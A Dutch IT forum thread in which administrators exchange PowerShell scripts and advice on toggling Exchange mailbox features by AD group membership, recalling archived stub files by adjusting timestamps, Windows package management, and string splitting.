Wat ik graag zou willen is alle mailboxen langs lopen (Get-Mailbox) en dan de functionaliteit aan of uitzetten al naar gelang of de mailbox lis is van de AD groep. Zit alleen even een beetje te klooien met de aanpak. Moet ik eerst alle leden van de groep in een variabele stoppen en dan per mailbox kijken of die in de variabele voorkomt? Of is er een meer efficiënte aanpak?

Exchange en Office 365 specialist. Mijn blog.


Acties:
  • 0 Henk 'm!

  • Killah_Priest
  • Registratie: Augustus 2001
  • Laatst online: 17:20
Jazzy schreef op maandag 14 maart 2016 @ 12:02:
Hier even een ander dingetje. Voor een Exchange-omgeving wil ik bepaalde instellingen door kunnen voeren op basis van groepslidmaatschap. Dus klant voegt een AD account toe of verwijdert deze uit een AD group. vervolgens wordt de mailbox instelling aangepast.

In principe zou dat zo kunnen:
code:
1
2
Get-Mailbox -Resultsize Unlimited | Set-CASMailbox -OWAEnabled $false
Get-ADGroupMember OwaEnabled | % { Set-CASMailbox $_.samaccountname -OWAEnabled $true }

Dit is niet ideaal omdat de functionaliteit eerst voor iedereen wordt uitgeschakeld, wat best een paar minuten kan duren.

Wat ik graag zou willen is alle mailboxen langs lopen (Get-Mailbox) en dan de functionaliteit aan of uitzetten al naar gelang of de mailbox lis is van de AD groep. Zit alleen even een beetje te klooien met de aanpak. Moet ik eerst alle leden van de groep in een variabele stoppen en dan per mailbox kijken of die in de variabele voorkomt? Of is er een meer efficiënte aanpak?
Hoe ik het zou doen in dit geval (er vanuitgaande dat ik de probleemstelling begrijp 5 minuten voor ik ga lunchen) :
- Lijst van alle members van de betreffende AD groep uitlezen met Get-ADGroupMember
- adv deze lijst Get-Mailbox doen om de lijst met mailboxen te genereren die lid zijn van deze groep
- Actie doorvoeren op deze mailboxen.

Acties:
  • 0 Henk 'm!

  • Jazzy
  • Registratie: Juni 2000
  • Laatst online: 22:41

Jazzy

Moderator SSC/PB

Moooooh!

Hoop dat je lekker geluncht hebt, zit hier zelf aan een boterham met haring in pepersaus. :)

Probleem met die aanpak is dat er niets gebeurt als ze iemand uit de groep verwijderen. Ik moet dus zowel de positieve als de negatieve actie doen. Als je snapt wat ik bedoel.

Exchange en Office 365 specialist. Mijn blog.


Acties:
  • 0 Henk 'm!

  • ralpje
  • Registratie: November 2003
  • Laatst online: 15:24

ralpje

Deugpopje

Mijn eerste gedachte is dan dat je ergens in een txt-filetje bijhoudt wat de laatste waarde van die groep was. Je kunt dan die waarde gebruiken om te kijken om te vergelijken met de huidige inhoud, en bij verschil een actie aftrappen.

Freelance (Microsoft) Cloud Consultant & Microsoft Certified Trainer


Acties:
  • 0 Henk 'm!

  • @r!k
  • Registratie: April 2000
  • Laatst online: 29-09 18:26

@r!k

It is I, Leclerq

Wat ralpje zegt inderdaad, anders even kijken of je met de metadata van het groepsobject kunt filteren op member added en removed en vervolgens de betreffende actie kunt laten utvoeren.

Een hele rij microsoft certificeringen.


Acties:
  • 0 Henk 'm!

  • Jazzy
  • Registratie: Juni 2000
  • Laatst online: 22:41

Jazzy

Moderator SSC/PB

Moooooh!

Stel dat ik het zonder bestanden op wil lossen... Ik heb een array met mailboxen en een array met groepsleden. Dan zou ik als volgt beginnen:
code:
1
2
3
$groupmembers = (Get-ADGroupMember OwaEnabled).samaccountname
$mailboxes = Get-Mailbox -Resultsize Unlimited
$mailboxes | % {

En hier wil ik dan checken of $mailbox.alias voorkomt in $groupmembers. Zo ja, dan de ene actie. Zo nee, dan de andere.

Dat moet toch kunnen? Of zit ik op de verkeerde weg?

Exchange en Office 365 specialist. Mijn blog.


Acties:
  • +1 Henk 'm!

  • SteeringWheel
  • Registratie: Augustus 2004
  • Laatst online: 17-09 22:13
Jazzy schreef op maandag 14 maart 2016 @ 12:02:
Hier even een ander dingetje. Voor een Exchange-omgeving wil ik bepaalde instellingen door kunnen voeren op basis van groepslidmaatschap. Dus klant voegt een AD account toe of verwijdert deze uit een AD group. vervolgens wordt de mailbox instelling aangepast.

In principe zou dat zo kunnen:
code:
1
2
Get-Mailbox -Resultsize Unlimited | Set-CASMailbox -OWAEnabled $false
Get-ADGroupMember OwaEnabled | % { Set-CASMailbox $_.samaccountname -OWAEnabled $true }

Dit is niet ideaal omdat de functionaliteit eerst voor iedereen wordt uitgeschakeld, wat best een paar minuten kan duren.

Wat ik graag zou willen is alle mailboxen langs lopen (Get-Mailbox) en dan de functionaliteit aan of uitzetten al naar gelang of de mailbox lis is van de AD groep. Zit alleen even een beetje te klooien met de aanpak. Moet ik eerst alle leden van de groep in een variabele stoppen en dan per mailbox kijken of die in de variabele voorkomt? Of is er een meer efficiënte aanpak?
Zo doe ik het in ieder geval wel. Alle mailboxen ophalen en alle members van de groep en dat vergelijken en naar gelang enablen of disablen.

EDIT:
Jazzy schreef op maandag 14 maart 2016 @ 13:45:
Stel dat ik het zonder bestanden op wil lossen... Ik heb een array met mailboxen en een array met groepsleden. Dan zou ik als volgt beginnen:
code:
1
2
3
$groupmembers = (Get-ADGroupMember OwaEnabled).samaccountname
$mailboxes = Get-Mailbox -Resultsize Unlimited
$mailboxes | % {

En hier wil ik dan checken of $mailbox.alias voorkomt in $groupmembers. Zo ja, dan de ene actie. Zo nee, dan de andere.

Dat moet toch kunnen? Of zit ik op de verkeerde weg?
Lijkt me goed toch?

EDIT2:
Heb het scriptje erbij gezocht, alstu. Is nog wel voor verbetering vatbaar her en der:
PowerShell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<# SteeringWheel
2014-10-23 v0.2 Added Erroraction=Stop to Set-CasMailbox
2014-06-02 v0.1 Initial version

This script enables and/or disables Exchange features based on AD groupmembership.
Possible keys for $features: ActivesyncEnabled, OWAEnabled, PopEnabled, ImapEnabled, MapiEnabled
 
Every key needs an hashtable with four keys as item, 'group', 'allowmode', 'enableUsers', 'disableUsers'
AllowMode=$true: feature is enabled for members of 'group' and disabled for users who are not member
AllowMode=$false: feature is disabled for members of 'group' and enabled for users who are not member
enableUsers=$true: enabling feature is enabled, $false: enabling feature is disabled so no users will have the feature enabled
disableUsers=$true: disabling feature is enabled, $false: disabling feature is disabled so no users will have the feature disabled

#>

$whatIf=$false
$debug=2
$features=@{OWAEnabled=
                @{Group="L-ACC-OutlookWebapp"; AllowMode=$true; Enable=$true; Disable=$true};
            ActiveSyncEnabled=
                @{Group="L-ACC-ExchangeActiveSync"; AllowMode=$true; Enable=$true; Disable=$true};
            PopEnabled=
                @{Group="L-ACC-ExchangePOP3"; AllowMode=$true; Enable=$true; Disable=$true};
            ImapEnabled=
                @{Group="L-ACC-ExchangeIMAP"; AllowMode=$true; Enable=$true; Disable=$true}
            } 

If ( (Get-PSSnapin -Name Microsoft.Exchange.Management.PowerShell.e2010 -ErrorAction SilentlyContinue) -eq $null ) {
    Add-PsSnapin Microsoft.Exchange.Management.PowerShell.e2010
}
Import-Module ActiveDirectory

$global:messagesCount=(0..4)
For($i=0;$i -le 4; $i++){
    $global:messagesCount[$i]=0
}

Function WriteLog{param([Parameter(Mandatory=$True)]$message, [Parameter(Mandatory=$True)]$type, [Parameter(Mandatory=$True)]$level)
# Writes $message to log file, with severity $type and indenting $level
    If($debug -ge $type -or $type -le 2){
        If($type -eq 1){
            $color="Yellow"
        } ElseIf ($type -eq 2){
            $color="Red"
        } Else {
            $color="White"
        }
        
        $types=@{0="I "; 1="W "; 2="E "; 3="D "; 4="DD"}
        $spaces=""
        $spaces=$spaces.padleft($level, " ")
        $msg=(Get-Date -Format "yyyy-MM-dd HH:mm:ss") + " " + $types[$type] + " $spaces$message"
        $global:messagesCount[$type]++
        Write-Host $msg -ForegroundColor $color
    }
}

$date=Get-Date -Format yyyyMMddHHmm
$path=split-path $SCRIPT:MyInvocation.MyCommand.Path -parent
Start-Transcript -path "$path\log$date.txt"
Writelog "Starting, whatIf is $whatIf" 0 0
WriteLog "Getting mailboxes" 0 0
$mailboxes = get-casmailbox -resultsize Unlimited
WriteLog "Found $($mailboxes.count) mailboxes" 0 0

$features.GetEnumerator()|Foreach{
    $members=$null
    $feature=$_.key
    $group=$features.$feature.Group
    $allowMode=$features.$feature.AllowMode
    $enableUsers=$features.$feature.Enable
    $disableUsers=$features.$feature.Disable
    Writelog "Processing feature '$feature', group is '$group', allowmode is '$allowMode', enableUsers is '$enableUsers', disableUsers is '$disableUsers'" 0 0
    Try{
        $members=Get-ADGroupMember $group -Recursive|Select-Object -ExpandProperty samaccountname
    } Catch {
        WriteLog "An unexpected error occured while retrieving members of group '$group': $_" 2 1
        $members=$false
    }
    
    If($members -ne $false){
        For($i=0;$i -le 1; $i++){
            $count=0
            $enable=(([bool]$i -eq $true -and $allowMode -eq $true) -or ([bool]$i -eq $false -and $allowMode -eq $false))
            If(($enable -and $enableUsers) -or (-not $enable -and $disableUsers)) {
                #writelog "enable is $enable, bool i is $([bool]$i)" 0 0
                WriteLog "Setting enabled to $($enable) where enabled is $(-not $enable) for the following users:" 0 1
                $mailboxes|Where-Object {$_.$feature -eq -not $enable -and (($members -notcontains $_.samaccountname -and $([bool]$i) -eq $false) -or ($members -contains $_.samaccountname -and $([bool]$i) -eq $true))}|Foreach{
                    $options=@{Identity=[string]$_.samaccountname; Whatif=$whatIf; $feature=$enable;Erroraction="Stop"}
                    Try{
                        Set-Casmailbox @options 
                        WriteLog "$($_.samaccountname)" 0 2
                        $count+=1
                    } Catch {
                        WriteLog "An unknown error occured while trying to set the feature for user '$($_.samaccountname)': $($_)" 2 2
                    }
                }
                If($count -eq 0){
                    WriteLog "<No matching users found>" 0 2
                }
            } Else {
                WriteLog "Settings prohibit setting enabled to $($enable), skipping..." 0 1
            }
        }
    }
}


For($i=2;$i -ge 0;$i--){
    $exitCode=$i
    If($global:messagesCount[$i] -gt 0){
        Break
    }
}
WriteLog "Script finished, $($global:messagesCount[2]) errors, $($global:messagesCount[1]) warnings" $exitCode 0
Stop-Transcript
Exit $exitCode

[ Voor 76% gewijzigd door SteeringWheel op 14-03-2016 13:59 ]

A forum post should be like a skirt. Long enough to cover the subject material, but short enough to keep things interesting.


Acties:
  • 0 Henk 'm!

  • ralpje
  • Registratie: November 2003
  • Laatst online: 15:24

ralpje

Deugpopje

Jazzy schreef op maandag 14 maart 2016 @ 13:45:
Stel dat ik het zonder bestanden op wil lossen... Ik heb een array met mailboxen en een array met groepsleden. Dan zou ik als volgt beginnen:
code:
1
2
3
$groupmembers = (Get-ADGroupMember OwaEnabled).samaccountname
$mailboxes = Get-Mailbox -Resultsize Unlimited
$mailboxes | % {

En hier wil ik dan checken of $mailbox.alias voorkomt in $groupmembers. Zo ja, dan de ene actie. Zo nee, dan de andere.

Dat moet toch kunnen? Of zit ik op de verkeerde weg?
Dat kan, de vraag is alleen hoe schaalbaar het is.
Wat als je straks een omgeving hebt met 20.000 mailboxen en je bij elke run van je script dus alle mailboxen opvraagt om te zien of ze in de groep zitten....
Door een extra file te gebruiken kijk je alleen naar wat er in de groep gewijzigd is en voer je op basis daarvan de acties uit.

Freelance (Microsoft) Cloud Consultant & Microsoft Certified Trainer


Acties:
  • 0 Henk 'm!

  • SteeringWheel
  • Registratie: Augustus 2004
  • Laatst online: 17-09 22:13
ralpje schreef op maandag 14 maart 2016 @ 14:31:
[...]


Dat kan, de vraag is alleen hoe schaalbaar het is.
Wat als je straks een omgeving hebt met 20.000 mailboxen en je bij elke run van je script dus alle mailboxen opvraagt om te zien of ze in de groep zitten....
Door een extra file te gebruiken kijk je alleen naar wat er in de groep gewijzigd is en voer je op basis daarvan de acties uit.
Klopt, maar door een file te gebruiken maak je wijzigingen die handmatig gedaan zijn niet ongedaan. Ophalen van 3000+ mailboxen kost hier trouwens ongeveer 20 seconden.

A forum post should be like a skirt. Long enough to cover the subject material, but short enough to keep things interesting.


Acties:
  • 0 Henk 'm!

  • Jazzy
  • Registratie: Juni 2000
  • Laatst online: 22:41

Jazzy

Moderator SSC/PB

Moooooh!

Schaalbaarheid is in dit geval geen probleem. Het script van stuurwiel is schitterend, maar om mijn PowerShell kennis te vergroten, hoe zou ik mijn scriptje af moeten maken?

Exchange en Office 365 specialist. Mijn blog.


Acties:
  • 0 Henk 'm!

  • Killah_Priest
  • Registratie: Augustus 2001
  • Laatst online: 17:20
Jazzy schreef op maandag 14 maart 2016 @ 17:15:
Schaalbaarheid is in dit geval geen probleem. Het script van stuurwiel is schitterend, maar om mijn PowerShell kennis te vergroten, hoe zou ik mijn scriptje af moeten maken?
Ik zie 1 cruciale "fout" in dit script (en dat is niet om stuurwiel af te kraken) : Add-PSSnapin om de Exchange module te importeren. Dit is echt fout en veel cmdlets werken niet correct ivm het bypassen van RBAC (en je moet ook de DLL op je machine hebben).

Zie https://blogs.technet.mic...e-powershell-from-rmilne/ voor het hoe en waarom en hoe je wel op een microsoft supported manier kunt verbinden.

Importeren van een remote sessie heeft voor mij met Exchange en AD altijd de voorkeur omdat ik "lokaal" alle benodigde cmdlets kan gebruiken zonder modules of snapins nodig te hebben, mijn machine hoeft geeneens domain joined te zijn (in mijn geval handig omdat ik voornamelijk bij klanten zit). Ook kan ik gewoon met een nieuwe versie van powershell werken.

Acties:
  • 0 Henk 'm!

  • Jazzy
  • Registratie: Juni 2000
  • Laatst online: 22:41

Jazzy

Moderator SSC/PB

Moooooh!

Had ik ook gezien maar wilde er niet over zeuren. :) Het is niet alleen fout maar ook unsupported.

[ Voor 30% gewijzigd door Jazzy op 14-03-2016 19:43 ]

Exchange en Office 365 specialist. Mijn blog.


Acties:
  • 0 Henk 'm!

  • SteeringWheel
  • Registratie: Augustus 2004
  • Laatst online: 17-09 22:13
Ergste is nog dat ik het inmiddels al enige tijd weet, maar niet verbeterd heb O-). Maar had al gezegd dat het voor verbetering vatbaar is hé >:)

[ Voor 27% gewijzigd door SteeringWheel op 14-03-2016 21:04 ]

A forum post should be like a skirt. Long enough to cover the subject material, but short enough to keep things interesting.


Acties:
  • 0 Henk 'm!

  • Craven
  • Registratie: Februari 2007
  • Laatst online: 22:36
Craven schreef op maandag 14 maart 2016 @ 08:46:
Dat is niet helemaal waar ik naar zocht (progress bar en write-host. Ik zal de case ff schetsen.

We hebben een scripting framework waarmee servers beheerd kunnen worden. Dit is nogal een complex verhaal en ik probeer inzicht te verkrijgen in de algehele implementatie.

Wat ik wil is een grafisch overzicht van de if's, else's e.d. Dus een beslisboom wat, en waarom word afgetrapt. Het liefst een overzicht in iets wat voor visio of mindtree door moet gaan.
Maar niemand die hier dus wat voor heeft?

Acties:
  • 0 Henk 'm!

  • downtime
  • Registratie: Januari 2000
  • Niet online

downtime

Everybody lies

Craven schreef op donderdag 17 maart 2016 @ 14:34:
Maar niemand die hier dus wat voor heeft?
Eerlijk gezegd denk ik dat dat soort tools gewoon (nog) niet bestaat. PowerShell is, net als andere scripting talen, meer gericht op relatief kleine projecten waar je niet de overhead en complexiteit van een gecompileerde taal wilt hebben. Als je tienduizenden regels code hebt, dan ben je misschien uit een taal als PowerShell gegroeid, en wordt het misschien tijd om op iets anders (zoals C#) over te stappen. Daar heb je veel meer en betere tooling voor.

Acties:
  • 0 Henk 'm!

  • Craven
  • Registratie: Februari 2007
  • Laatst online: 22:36
downtime schreef op donderdag 17 maart 2016 @ 16:04:
[...]

Eerlijk gezegd denk ik dat dat soort tools gewoon (nog) niet bestaat. PowerShell is, net als andere scripting talen, meer gericht op relatief kleine projecten waar je niet de overhead en complexiteit van een gecompileerde taal wilt hebben. Als je tienduizenden regels code hebt, dan ben je misschien uit een taal als PowerShell gegroeid, en wordt het misschien tijd om op iets anders (zoals C#) over te stappen. Daar heb je veel meer en betere tooling voor.
Dat besef ik me, maar PowerShell kan vanuit technisch perspectief best veel handlen. Grote voordeel aan powershell voor ons is momenteel dat we van daaruit makkelijk kunnen integreren met externe producten. Het hele zooitje omzetten naar C# (waarin momenteel ook al een berg code zit trouwens) is voor dit moment niet haalbaar maar staat zeker op de langetermijn planning.

Qua tooling loopt het voor de rest eigenlijk alles prima. Het zit nu in een versioning systeem met DTAP branches, we werken met visual studio en de powershell code zelf word inderdaad (een soort van) gecompileerd.

Probleem waar we nu tegenaan lopen is dat het gewoon erg complex is om mee aan de slag te gaan. Ik ken het product al 3 jaar en heb er intensief mee gewerkt maar het doorgronden kost me nog steeds veel tijd. Laat staan wat voor tijd en effort en nieuw persoon hierin moet steken.

Acties:
  • 0 Henk 'm!

  • punisher007
  • Registratie: Maart 2001
  • Laatst online: 01-10 11:17
Als ik het goed begrijp wil je dus iets dat de Pwershell code doorloopt en vervolgens converteert naar flowchart?

Iets als http://code2flow.com/ , maar dan voor PowerShell?

Leuk idee, misschien eens voordragen aan maker van isesteroids of de PS community?

PS: Eigenlijk zou dit bij jullie natuurlijk ook al designed\gedocumenteerd moeten zijn :)

http://blog.bjornhouben.com


Acties:
  • 0 Henk 'm!

  • Craven
  • Registratie: Februari 2007
  • Laatst online: 22:36
punisher007 schreef op vrijdag 18 maart 2016 @ 13:18:
Als ik het goed begrijp wil je dus iets dat de Pwershell code doorloopt en vervolgens converteert naar flowchart?

Iets als http://code2flow.com/ , maar dan voor PowerShell?

Leuk idee, misschien eens voordragen aan maker van isesteroids of de PS community?

PS: Eigenlijk zou dit bij jullie natuurlijk ook al designed\gedocumenteerd moeten zijn :)
Dat exact inderdaad.

Documentatie is inderdaad handig maar zijn we nu een beetje laat mee. Het enige wat ik ook aan documentatie wil hebben is dit. Dus als dit automatisch gegenereerd kan worden zou dat echt awesome zijn.

Acties:
  • +1 Henk 'm!

  • punisher007
  • Registratie: Maart 2001
  • Laatst online: 01-10 11:17
Ik heb even op twitter gevraagd en feature request toegevoegd voor ISESteroids. Om te voten, kijk hier: https://scriptinternals.u...e-flowchart-based-on-code

http://blog.bjornhouben.com


Acties:
  • 0 Henk 'm!

Verwijderd

Kan iemand me helpen met het bouwen van een powershell script met de volgende eisen:

Check recursive in alle (sub)directories naar files met een bestandsgrootte van 1022B (bytes). Set de last access time van deze bestanden naar -1 seconde van de huidige last access time stamp.

Achtergrond:
Wij hebben een stukje archiveringssoftware die bestanden ouder dan X in het archief zet. Deze worden dan vervangen door een stub file op de file server, deze zijn (v.z.i.w.) altijd 1022 bytes groot. Als de stub wordt benaderd haalt de file archiving agent via een http request de volledige file uit het archief en zet deze weer op de originele locatie.

Nu gaan de de archiving software uitfaseren. Helaas is daar geen optie om simpelweg alles wat in het archief zit weer terug te zetten... :(

Mijn bedoeling is dus om alle stub files middels een powershell script aan te raken door de last access time te wijzigen. De agent haalt dan de files op en voíla: bestandje staat er weer.

Mochten jullie andere manieren weten om het zelfde te bereiken hoor ik het ook graag. Helaas heb ik nog weinig ervaring met powershell, dus ik vind het lastig te beginnen.

Acties:
  • 0 Henk 'm!

  • ralpje
  • Registratie: November 2003
  • Laatst online: 15:24

ralpje

Deugpopje

Dat het lastig is om te beginnen is begrijpelijk, maar wat heb je wél al geprobeerd? Het is hier geen dump-je-scriptrequest-en-wij-regelen-het-voor-je-topic ;)

Freelance (Microsoft) Cloud Consultant & Microsoft Certified Trainer


Acties:
  • 0 Henk 'm!

  • downtime
  • Registratie: Januari 2000
  • Niet online

downtime

Everybody lies

Verwijderd schreef op zondag 20 maart 2016 @ 10:40:
Kan iemand me helpen met het bouwen van een powershell script met de volgende eisen:

Check recursive in alle (sub)directories naar files met een bestandsgrootte van 1022B (bytes). Set de last access time van deze bestanden naar -1 seconde van de huidige last access time stamp.
Het zou volgens mij zelfs in een oneliner kunnen. Onderstaande is niet getest ( want op Ipad geschreven) maar je zou hiermee een heel eind moeten komen.

Wel moet je rekening houden met het aantal bestanden. Als de complete bestandenstructuur meer dan een paar honderdduizend bestanden is, zou ik het script niet direct op alle bestanden los laten. Ik heb gemerkt dat Powershell dat niet fijn vindt.

PowerShell:
1
2
3
4
5
$AllFiles = Get-ChildItem -Path 'C:\Alle Bestanden' -File -Recurse
$Stubs = $AllFiles | Where-Object { $_.Length -eq 1022 }
$Stubs | ForEach-Object {
    $_.LastWriteTime = $_.LastWriteTime.AddSeconds(-1)
}

Acties:
  • 0 Henk 'm!

Verwijderd

@Mecallie, de code die downtime hierboven meegaf is in principe de basis (wellicht $_.LastWriteTime vervangen door $_.LastAccessTime, dat moet je zelf uittesten).

Verder kan ik je nog meegeven dat je goed moet analyseren of je wel voldoende fysieke schijfruimte hebt voor de volledige recall van je archief. We liepen in het verleden hier eens tegenaan toen we fileservers (waarvan ook tig files op een backend archief stonden) gemigreerd werden. Tijdens het migreren van de data werden ook alle gearchiveerde bestanden automatisch teruggeroepen.

Acties:
  • 0 Henk 'm!

Verwijderd

downtime schreef op zondag 20 maart 2016 @ 12:14:
[...]

Het zou volgens mij zelfs in een oneliner kunnen. Onderstaande is niet getest ( want op Ipad geschreven) maar je zou hiermee een heel eind moeten komen.

Wel moet je rekening houden met het aantal bestanden. Als de complete bestandenstructuur meer dan een paar honderdduizend bestanden is, zou ik het script niet direct op alle bestanden los laten. Ik heb gemerkt dat Powershell dat niet fijn vindt.

PowerShell:
1
2
3
4
5
$AllFiles = Get-ChildItem -Path 'C:\Alle Bestanden' -File -Recurse
$Stubs = $AllFiles | Where-Object { $_.Length -eq 1022 }
$Stubs | ForEach-Object {
    $_.LastWriteTime = $_.LastWriteTime.AddSeconds(-1)
}
Bedankt voor deze!
Hier moet ik wel wat mee kunnen bouwen. Een Google search op modify access time levert gek genoeg nergens iets op waarmee je een increment kunt doen, alleen een vaste tijd zetten. Ik wist niet dat .AddSeconds gewoon bestond, super!

Ik ga even testen en laat het hier nog even weten als ik nog iets heb aangepast/ondervonden.

Acties:
  • 0 Henk 'm!

Verwijderd

Verwijderd schreef op zondag 20 maart 2016 @ 13:06:
@Mecallie, de code die downtime hierboven meegaf is in principe de basis (wellicht $_.LastWriteTime vervangen door $_.LastAccessTime, dat moet je zelf uittesten).

Verder kan ik je nog meegeven dat je goed moet analyseren of je wel voldoende fysieke schijfruimte hebt voor de volledige recall van je archief. We liepen in het verleden hier eens tegenaan toen we fileservers (waarvan ook tig files op een backend archief stonden) gemigreerd werden. Tijdens het migreren van de data werden ook alle gearchiveerde bestanden automatisch teruggeroepen.
Daar had ik al rekening mee gehouden. Reden dat we van het archief af willen is ook dat de storage in het archief nu net zo duur is als onze normale san storage. Ik heb dus de datastores/schijven al even groot gemaakt als het complete archief + bestaande schijven :)

Acties:
  • 0 Henk 'm!

  • Craven
  • Registratie: Februari 2007
  • Laatst online: 22:36
punisher007 schreef op vrijdag 18 maart 2016 @ 20:29:
Ik heb even op twitter gevraagd en feature request toegevoegd voor ISESteroids. Om te voten, kijk hier: https://scriptinternals.u...e-flowchart-based-on-code
Thanks, heb hem ook een vote gegeven. Al vind ik ise on steroids niet echt lekker werken. Voor ff snel scripten en testen pak ik de ISE gewoon. Niks in die steroiden terug gevonden wat ik echt handig vind. Notepad++ gebruik ik voor lange code sessies die niet direct in onze codebase terecht komen. In onze eigen codebase werk ik met visual studio.

Acties:
  • 0 Henk 'm!

  • Killah_Priest
  • Registratie: Augustus 2001
  • Laatst online: 17:20
Heeft hier iemand ervaring met de ingebouwde package manager (PS5 icm Windows 10) en remote installaties?
Lokaal gebruik ik deze al een hele tijd en werkt dit goed.
Remote krijg ik dit niet werkend (ik probeer remote een aantal tools te installeren op een werkstation) en ivm gebrekkige documentatie kan ik hier ook niet direct een oplossing voor vinden.

De gebruikte packageprovider (Chocolatey) is toegevoegd met de AllUser optie voor de -Scope switch, (maarja, dit zorgt er alleen maar voor dat alle users bij de packageprovider kunnen komen. Een optie om een package voor "allusers" te installeren kan ik dus niet terugvinden).

alle pogingen om remote packages te installeren eindigen zonder foutmelding met de bevestiging dat het gelukt is (get-package laat ook zien dat de package er moet zijn), echter is de package nergens terug te vinden naderhand.
Zoeken op bv de executable (en dan op de gehele harddisk) geeft dan ook 0 resultaten. Op de locatie welke door PS aangegeven wordt kan ik alleen PS scripts terugvinden welke ook geen duidelijkheid verschaffen over waar hij de betreffende packages neer zou moeten hebben gezet. De boel staat ook niet in mijn user profile op de betreffende machine geïnstalleerd.

Op dit moment maakt dit de packagemanager welke ingebouwd zit in windows 10 nogal waardeloos voor deze doeleinden maar dat komt dan ook vooral door een gebrek aan duidelijke documentatie.

[ Voor 6% gewijzigd door Killah_Priest op 18-04-2016 10:34 ]


Acties:
  • 0 Henk 'm!

  • the-edge
  • Registratie: Juni 2005
  • Laatst online: 26-09 07:50
Ik zit met een kleine uitdaging waar ik wat hulp bij nodig heb.

code:
1
$test = "20160606-15:13:30---Status message 1---20160606-15:13:31---Status message 1---20160606-15:13:31---Status message 1---20160606-15:13:32---Status message 1---20160606-15:13:32---Status message 1---"


Deze variabele wil ik splitsen in 2 variabelen: $timestamp & $message.
Dit heb ik opgelost door
code:
1
$timestamp = $test.substring(0,17)

en
code:
1
$message = $test.substring(17,((test.length)-17))


Die 2 variabelen pakken dus van die ene grote lijn de eerste timestamp en de eerste 'message'.

Ik dacht dit in een foreach te zetten waardoor de lijn in $test helemaal wordt uitgekauwd maar ik kom er niet in verder.
Hebben jullie een idee? :/

Acties:
  • 0 Henk 'm!

  • Question Mark
  • Registratie: Mei 2003
  • Laatst online: 16:17

Question Mark

Moderator SSC/WOS

F7 - Nee - Ja

Waarom gebruik je geen split?

code:
1
$test.split("---")[0]

Geeft de datum terug
code:
1
$test.split("---")[1]

Geeft de tijd terug.

code:
1
$datetime = ($test.split("---")[0]) + ($test.split("---")[0])


Je zult even moeten kijken waarmee je het handigste de split kunt maken (misschien de string "Status message"?), maar dat is even uitvogelen...

MCSE NT4/2K/2K3, MCTS, MCITP, CCA, CCEA, CCEE, CCIA, CCNA, CCDA, CCNP, CCDP, VCP, CEH + zwemdiploma A & B


Acties:
  • 0 Henk 'm!

  • Craven
  • Registratie: Februari 2007
  • Laatst online: 22:36
Vervelende van split is dat hij niet kan splitten op een setje karakters. Dus een split op "---" geeft al een array met 4 lege waarden terug. Dat word erg vervelend. Als je die --- nou replaced (replace kan wel met meerdere karakters om gaan namelijk) met een ander enkel karakter dan kun je wel weer leuke dingen doen met split.

Zoiets:
PowerShell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$test = "20160606-15:13:30---Status message 1---20160606-15:13:31---Status message 1---20160606-15:13:31---Status message 1---20160606-15:13:32---Status message 1---20160606-15:13:32---Status message 1---"
$test = $test.replace("---","_")

$test = $test.split("_")

$Counter = 0
foreach ($line in $test)
{
    if ($Counter % 2 -eq 0)
    {
        [array]$TimeStamp += $line
    }
    else
    {
        [array]$Message +=$line
    }
    $Counter++
}



Ik heb nu timestamp en message in 2 losse arrays gezet maar daar kun je natuurlijk allerlei leuks mee doen.

Edit: ff uitgezocht. De split method gaat op iedere char splitten die jij opgeeft. Dus niet op de hele string maar op ieder afzonderlijk karakter. :X

[ Voor 11% gewijzigd door Craven op 09-06-2016 12:59 ]


Acties:
  • 0 Henk 'm!

  • Killah_Priest
  • Registratie: Augustus 2001
  • Laatst online: 17:20
Craven schreef op donderdag 09 juni 2016 @ 12:56:
Vervelende van split is dat hij niet kan splitten op een setje karakters. Dus een split op "---" geeft al een array met 4 lege waarden terug. Dat word erg vervelend. Als je die --- nou replaced (replace kan wel met meerdere karakters om gaan namelijk) met een ander enkel karakter dan kun je wel weer leuke dingen doen met split.

Zoiets:
PowerShell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$test = "20160606-15:13:30---Status message 1---20160606-15:13:31---Status message 1---20160606-15:13:31---Status message 1---20160606-15:13:32---Status message 1---20160606-15:13:32---Status message 1---"
$test = $test.replace("---","_")

$test = $test.split("_")

$Counter = 0
foreach ($line in $test)
{
    if ($Counter % 2 -eq 0)
    {
        [array]$TimeStamp += $line
    }
    else
    {
        [array]$Message +=$line
    }
    $Counter++
}



Ik heb nu timestamp en message in 2 losse arrays gezet maar daar kun je natuurlijk allerlei leuks mee doen.

Edit: ff uitgezocht. De split method gaat op iedere char splitten die jij opgeeft. Dus niet op de hele string maar op ieder afzonderlijk karakter. :X
Met een beetje regex (Select-String -pattern) kom je ook al een heel eind.
Voorbeeld :
PowerShell:
1
2
3
$test = "20160606-15:13:30---Status message 1---20160606-15:13:31---Status message 1---20160606-15:13:31---Status message 1---20160606-15:13:32---Status message 1---20160606-15:13:32---Status message 1---"
$split = $test.Split('-')
$msg = $split | Select-String -Pattern '[^\s]'


$MSG is nu wel een [MatchInfo] Object (welke weer via een ToString() method naar string omgezet kan worden)

Acties:
  • 0 Henk 'm!

  • punisher007
  • Registratie: Maart 2001
  • Laatst online: 01-10 11:17
Ik heb daar pas geleden ook even mee gestoeid en mijn bevindingen waren:
.split() methode ondersteunt alleen splitten op 1 karakter, maar met -split kun je splitten op een string van karakters.

Ter vergelijking en test:

PowerShell:
1
2
3
4
5
6
7
8
9
10
11
12
$String = '1aaaaa123bbbbb3ccc'
$Result1 = $string.split('123')
$Result2 = $string -split '123'

Write-Host '========Result 1========' -ForegroundColor Yellow
Write-Host "Array count for result 1 is:" $Result1.Count
Write-Host 'Array content for result 1 is'
$Result1
Write-Host '========Result 2========' -ForegroundColor Yellow
Write-Host 'Array count for result 2 is:' $Result2.Count
Write-Host 'Array content for result 2 is'
$Result2

http://blog.bjornhouben.com


Acties:
  • 0 Henk 'm!

  • SirDarkAngel
  • Registratie: April 2005
  • Laatst online: 09-10 08:42
In plaats van .split te gebruiken kan je ook -split gebruiken.

.split maakt een array van alle karakters en split op elk van deze karakters.
